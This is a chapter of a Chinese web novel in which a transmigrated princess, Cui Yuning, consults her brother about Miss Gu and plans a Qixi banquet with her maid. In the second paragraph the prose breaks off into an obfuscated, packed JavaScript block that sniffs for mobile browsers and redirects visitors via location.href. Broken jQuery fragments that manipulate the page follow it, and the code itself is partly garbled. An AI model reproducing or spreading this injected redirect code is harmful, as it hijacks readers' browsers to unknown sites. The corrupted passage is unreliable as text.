她以为自己的主意是个很不错的平替,却不成想崔璟祁轻轻摇了摇头,“不可,这顾家小姐敢在路上拦你的车架,你怎知她拿到你的信物会做什么?”
“她已经太聪明了,你不要同她过多接触。”崔璟祁不满地总结,崔玉凝这种笨蛋不适合跟人精玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211497|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
崔玉凝不知道崔璟祁在想些什么,不过她很认同最后这句话,真正接触过后她也不喜欢女主,但为了以后还能光明正大地跟顾因勾勾搭搭,她嘴上却说:“可我觉得顾小姐人很好呢,只是这次她大概是真的遇到困难没办法了才找我求助的。”
说着还自夸起来,“谁让我仗义执言,做事公正呢……”
崔璟祁被妹妹的蠢样逗笑了,心道左右不过一个小丫头,要是真的利用凝儿,那他自然会清理门户。
崔玉凝从崔璟祁这里得到办法后就立刻放下墨块要走。
崔璟祁轻咳一声,崔玉凝又回过头来把刚刚带来的食盒打开一样一样摆在崔璟祁面前。
“阿兄,这是蜜桃塔,昨日我尝了,味道可好了。”崔玉凝从食盒中取出一个蜜桃塔递给崔璟祁。
见他不接还忙着批阅奏折,又把蜜桃塔凑到他的嘴边:“阿兄,你也尝尝嘛!”
崔玉凝夹着嗓子连自己都觉得恶心,不过好在崔璟祁很吃这一套,就着崔玉凝的手吃了一口蜜桃塔,片刻才吐出一句:“不错。”
她立刻接茬:“既然阿兄觉得不错,那这些点心阿兄记得吃完哦!凝儿就先回去了。”
……
回到公主府,崔玉凝立刻就叫了琅珠过来商讨举办宴会的事。
虽然参加了不少宴会,可这还是她第一次举办宴会,还得找个合适的由头。
“殿下,驸马……不是,小裴大人就要回来了,要不就为小裴大人办个欢迎宴吧!”琅珠差点忘了现在公主已经不喜欢驸马了,哦不对,又忘了,是不喜欢小裴大人了。
崔玉凝听琅珠说的磕磕巴巴,又把裴则叫做驸马,心里不顺意,轻轻眯起了眸子:“裴则回来不是裴家的事吗?我怎么能替他办宴会。”
就在刚刚一瞬间她想到这就是一个让女主和裴则见面的契机,不禁暗自赞叹自己的机敏,只是片刻又想到这不合适。
“有什么不能办的,以往殿下不还借着赏花宴的由头给裴大人办生日宴吗,大冬天叫了那么多人一起来花园赏一棵梅花。”琅珠拆起台来也毫不留情。
“那我都对裴则这么好了,他为什么还不喜欢我。”崔玉凝想问问小公主和裴则之间的关系,琅珠说的这些都是她不知道的。
琅珠没心没肺地答道:“可是驸马,哦不,小裴大人一次都没来过啊。”
崔玉凝闻言摆摆手:“那你快想点别的由头啊。”反正她想不出来。
琅珠站在一旁歪着头一副认真思考的样子,想了很久才说:“下个月是您的生辰,可是贵妃娘娘一定会帮您准备好,况且也不知道顾家小姐等不等的及。”
“肯定来不及啊,”崔玉凝直接否定了,“你再想想别的。”
突然,琅珠面上一喜,似乎是想到了好日子,语气中都带着一丝兴奋:“殿下,乞巧节!过几日就是乞巧节了,您可以在府中办个小宴。”
被琅珠这么一提醒崔玉凝也想起来过几日就是七夕了,“不过乞巧节不是母后办的吗?”
琅珠对自家公主这个问题完全没有起疑,反而更加确信自家公主不喜欢小裴大人了。往年七夕公主都追着小裴大人跑,哪里会关心宴会啊。
“殿下,您忘了吗,大公主和三公主在成婚前都在府中办过小宴。”琅珠贴心解释道,“皇后娘娘的宴会既不会邀请外命妇,更不会邀请顾小姐。”
话说到这里就打住了,崔玉凝明白琅珠的意思,就是宫中的乞巧节她可以不去,那日不进宫在府中办小宴给顾因做脸。
她点点头,“那你就去办吧,过几日我进宫一趟跟母后说明。”
崔玉凝恨自己没有直接穿成皇帝,这样就不用事事报备了。
尤其是明明她做什么那几位都知道,还要她一趟趟进宫做到礼数周全。